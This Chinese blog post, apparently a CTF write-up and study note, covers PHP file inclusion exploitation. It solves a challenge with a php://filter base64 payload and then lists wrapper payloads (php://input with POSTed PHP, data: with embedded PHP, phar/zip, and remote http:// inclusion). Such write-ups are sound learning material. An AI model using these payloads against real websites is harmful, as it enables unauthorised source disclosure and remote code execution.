php文件包含漏洞利用

前言

上次校赛的web3以及在做buu时都遇到了文件包含的问题,就开篇博客学习记录php文件包含漏洞的利用。

引子

[ACTF2020新生赛]include这题只是一个单纯的文件包含没什么意思,我就从[极客大挑战]secret file这题讲起

进入网页,似乎什么有用的信息也没有,直接F12用查看器查看HTML,发现了这么一行:

1
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

这个页面中有一个地方隐藏着一个Oh! You found me,点击后会跳转到Archive_room.php中,但是由于颜色与背景色设置一致导致我们没法直接看到,我们可以左键鼠标拖动使其显性,也可以直接通过URL进入下一个php文件中。

进入下一个页面,这次这个秘密似乎直接贴在了我们的脸上,但是当我们点击进secret后,很快啊告诉我们查阅结束,我们F12查看后发现整个过程应该是先进入了action.php,然后再很快地跳转到了end.php中。那么我们估计关键就藏在了action.php中,那么我们对网页进行抓包:

果然,secr3t.php就藏在了action.php中,那么我们直接进入下一步,页面中出现的是一串代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

相当经典的一串文件包含代码,这里用到文件包含中的php://filter,然后我们读取文件中的代码,只需要进行base64编码,这样文件就不会被执行,而是通过base64的方式返回,因为被base64编码后再传入include函数,就不会被认为是php文件,那么文件就不会执行,而是输出文件的base64编码,那么我们再进行解码即可。
?file=php://filter/read=convert.base64-encode/resource=flag.php

在F12中获取base64码:

1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MDM4NzE4NTktNjVlYi00Y2ZjLTk1ZjktMDZlMmI0MTliMDI2fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

最后解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{03871859-65eb-4cfc-95f9-06e2b419b026}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

解毕

php文件包含漏洞利用

看完了上面的例题,我们也能大体了解到文件包含的一些眉目了。我们要知道,include()函数对文件后缀名无要求,而对其中的语法有要求。因此无论文件格式是txt,php还是jpg等,只要内容符合的格式就可以执行。接下来详细介绍各种类型的文件包含漏洞的应用。

php://filter

php://filter可以作为一个中间流来处理其他流,可以进行任意文件的读取,这个协议可以用来过滤一些东西。我们可以设置参数:

  • resource=<要过滤的数据流>:指定了你要筛选过滤的数据流。
  • read=<读链的筛选列表>:可以设定一个或多个过滤器名称,以管道符(|)分隔。
  • write=<写链的筛选列表>:可以设定一个或多个过滤器名称,以管道符(|)分隔
  • <;两个链的筛选列表>:任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

在校赛中用的是rot13编码,如果使用rot-13,则该方法仅限于当short_open_tag不开启的时候,而且resource的数据流也没有直接给,不过在ctf比赛中一般的数据流都是flag或者关于flag的变种形式。而这种形式的文件包含也是目前我们能见到最多的。

总之,php://filter协议有一下几个应用:

  • 利用base64获得源码
  • 通过读写编码实行绕过操作

php://input

php://input的使用只需要php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可。因此,我们可以用这个代码查看phpinfo等更重要的页面,只需要我们POST一个完整的php语句就行了:

1
2
?page=php://input
POST:<?php phpinfo(); ?>

关于php://类型的协议在php手册中有更详细的介绍:
php://input详解- Manual

file://

简单来说和php://filter类似,但是访问本地文件时只能传入绝对路径来读取,因此在做题时基本是完全用不上的类型。

phar:// & zip://

这两者都是用来查找指定压缩包内的文件,区别就在于前者可以传入绝对路径与相对路径,而后者只能传入绝对路径,且在使用后者时要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23。

data:

也是可以直接传入代码,格式为:
data: text/plain,<?php payload ?>

当然也可以使用base64编码:
data:text/plain;base64,payload(编码过的)
还要记得base64编码后的=与+要手动进行URL编码。

http://

include也可以传入外部链接,这个可以标记以下,说不定以后有大用。

总结

文件包含漏洞的应用是目前我们遇到题目中的常用解法之一,当然还有其他例如堆叠注入等等都值得我们去探索学习。